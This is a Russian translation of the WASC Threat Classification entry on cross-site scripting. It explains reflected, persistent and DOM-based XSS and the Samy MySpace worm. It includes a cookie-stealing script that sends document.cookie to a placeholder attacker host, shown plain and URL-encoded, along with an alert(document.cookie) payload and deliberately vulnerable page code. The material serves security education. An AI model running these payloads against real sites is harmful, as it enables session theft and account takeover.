Автор: Robert Auger Project: WASC Threat Classification Threat Type: Attack Reference ID: WASC-8
Оригинал статьи: http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
Перевод: Ильенко Ф. В.
Cross-Site Scripting (XSS) позволяет злоумышленнику подставить код в браузер пользователя. Например, браузер может быть стандартным веб-браузером клиента или браузер объекта, встроенного в программном продукте, например, браузер в Winamp, RSS Reader, или почтовый клиент. Сам код, как правило, написан на HTML / JavaScript, но может также распространяться на VBScript, ActiveX, Java, Flash, или на любых других поддерживаемых браузером технологии.
Когда злоумышленник получает браузер пользователя может выполнить код, который будет работать в контексте безопасности (или зоне) хостинг веб-сайта. При таком уровне привилегий, код можно прочитать, изменить и передать конфиденциальные данные доступные в браузере. Межсайтовый скриптинг может похищать данные пользователя (Cookie кражи), их браузер перенаправляется в другое место. Cross-Site Scripting атаки с использованием кросс-сайтовых сценариев по существу ставят под угрозу доверительные отношения между пользователем и веб-сайтом. Приложения, использующие браузер имеют экземпляры объектов для загрузки содержимого из файловой системы, могут выполнять код в зоне локального компьютера и приводят к нарушению безопасности системы.
Нестойкие атаки и основанные на DOM атаки требуют, чтобы пользователь или посетил специально обработанную ссылку, пропитанную вредоносным кодом, или посетил вредоносную веб-страницу, содержащую веб-форму, которая перенаправляет на уязвимый сайт и предпринимает атаку. Используя вредоносную форму используется часто, когда уязвимый ресурс только принимает запросы POST HTTP. В таком случае форма может быть представлена автоматически без знания жертвы (например, при помощи JavaScript). При щелчке по вредоносной ссылке или представлении вредоносной формы, на полезную нагрузку XSS отреагирует, интерпретирует браузер пользователя и выполнится нужный код. Другой метод, основан чтобы отправить почти произвольные запросы (GET и POST) при помощи встроенного клиента, такого как Adobe Flash. Персистентные атаки происходят, когда вредоносный код представлен веб-сайту, где он отображается временно. Примеры самых распространенных часто включают сообщения доски объявлений, веб-почтовые сообщения и программное обеспечение веб-чата. Не подозревающий пользователь не обязан взаимодействовать с любым дополнительным сайтом/ссылкой (например, сайтом атакующего или вредоносной ссылкой, отправленной по электронной почте), просто просматривать веб-страницу, содержащую код.
Много веб-сайтов размещают доски объявлений, где зарегистрированные пользователи могут добавить сообщения, которые сохранены в базе данных. Зарегистрированный пользователь обычно прослеживается, используя cookie ID сеанса, разрешающий их отправить. Если атакующий должен был добавить сообщение, содержащее специально обработанный JavaScript, у пользователя, читающего это сообщение, могли быть его cookie, поставившая под угрозу учетную запись.
Фрагмент кода кражи cookie:
(SCRIPT) document.location= 'http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie (/SCRIPT)
Вследствие того, что полезная нагрузка атаки сохранена на стороне сервера, эта форма атаки xss персистентная.
Много веб-порталов открывают персонализированный вид веб-сайта и могут приветствовать зарегистрированного пользователя с «Добро пожаловать, <Ваше имя пользователя>». Иногда данные, ссылающиеся на зарегистрированного пользователя, хранятся в строке запроса URL и отражаются на экране.
URL: http://portal.example/index.php?sessionid=12312312&username=Joe
В примере выше мы видим, что имя пользователя "Джо" сохранено в URL. Получившееся веб-страница выводит на экран "Добро пожаловать, Джо" сообщение. Если атакующий изменил поле имени пользователя в URL, вставляя краденный cookie JavaScript, что позволит получить контроль над учетной записью пользователя, если они заставят жертву посетить их URL.
Большой процент людей почувствуют подозрение, если они будут видеть JavaScript, встроенный в URL, то поэтому очень часто атакующий будет кодировать их вредоносную полезную нагрузку, как в примере ниже.
Пример закодированного URL краденных Cookie:
http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Пример декодированной ссылки краденных Cookie:
http://portal.example/index.php?sessionid=12312312& username=(script)document.location='http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie(/script)
В отличие от предыдущих двух разновидностей, основанные на DOM атаки, XSS не требует, чтобы веб-сервер получил вредоносную полезную нагрузку XSS. Вместо этого в DOM XSS атакующий использует встраивание времени выполнения данных атакующего на стороне клиента из страницы, использованной веб-сервером.
Рассмотрите веб-страницу HTML, которая встраивает предоставленное пользователями данные на стороне клиента, т.е. в браузере пользователя. Это фактически хорошо установленная практика. Например, у страницы HTML может быть код JavaScript, который встраивает Путь/URL страницы в страницу. Этим URL может частично управлять атакующий.
В таком случае атакующий может вынудить клиента (браузер) предоставить страницу с частями DOM (путь и/или ссылка) управляемые атакующим. Когда страница предоставлен, и данные обработаны страницей (обычно стороной клиента встроенный в HTML сценарий, такой как JavaScript), в код страницы можно небезопасно встроить данные, таким образом поставляя полезную нагрузку сценариев перекрестного сайта.
К примеру: http://www.vulnerable.site/welcome.html
имеет следующее содержание:
(HTML)
(TITLE)Welcome!(/TITLE)
Hi
(SCRIPT)
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
(/SCRIPT)
Welcome to our system
…(/HTML)
Эта страница будет использовать значение параметра "имени" следующим образом. http://www.vulnerable.site/welcome.html?name=Joe
В этом примере код JavaScript встраивает часть документа. URL (путь страницы) в страницу, без любого соображения для безопасности. Атакующий может используя это, соблазняя клиента, чтобы он щелкнул по ссылке такой как:
http://www.vulnerable.site/welcome.html?name= (script)alert(document.cookie)(/script)
которая встраивает вредоносную нагрузку JavaScript в страницу во время загрузки.
Есть несколько объектов DOM, которые могут служить механизмом к такой атаке:
Довольно возможно, что другие объекты DOM могут использоваться также, особенно если DOM расширен. В любом случае, пока в некоторых механизмах, сервер действительно получает нагрузку, важно отметить, что сервер не обязательно получает нагрузку на странице ответа - сущность DOM базировалась, XSS - то, что клиентский код сам делает встраивание.
Cross-Site Scripting Worms and Malware
Лучший пример веб-Червя - Червь Samy, первый главный червь его вида, распространенного, используя персистентную уязвимость Cross-Site Scripting в персональном шаблоне веб-страницы профиля MySpace.com. В октябре 2005, Samy Kamkar создатель червей, обновленный h - Веб-страница профиля с первой копией эксплоитного кода JavaScript. MySpace выполнял некоторые входные черные списки фильтрации к событию XSS PR, но они были совсем не совершенны. Используя некоторые обходящие фильтр методы, Samy был успешен в загрузке своего кода.
Когда аутентифицируемый пользователь MySpace просмотривал профиль Сэми,происходила полезная нагрузка червя, используя XHR, вынуждая веб-браузер пользователя добавить Samy как друга, и включать Samy как героя пользователя ("но чаще всего, samy - мой герой"), изменяя профиль пользователя с копией кода вредоносного программного обеспечения. При запуске с единственного посетителя инфекция Червя Samy выросла по экспоненте к более чем 1,000,000 зараженных профилей пользователей через менее чем 24 часа. MySpace был вынужден завершить работу своего веб-сайта, чтобы остановить инфекцию, фиксировать уязвимость и выполнить чистку.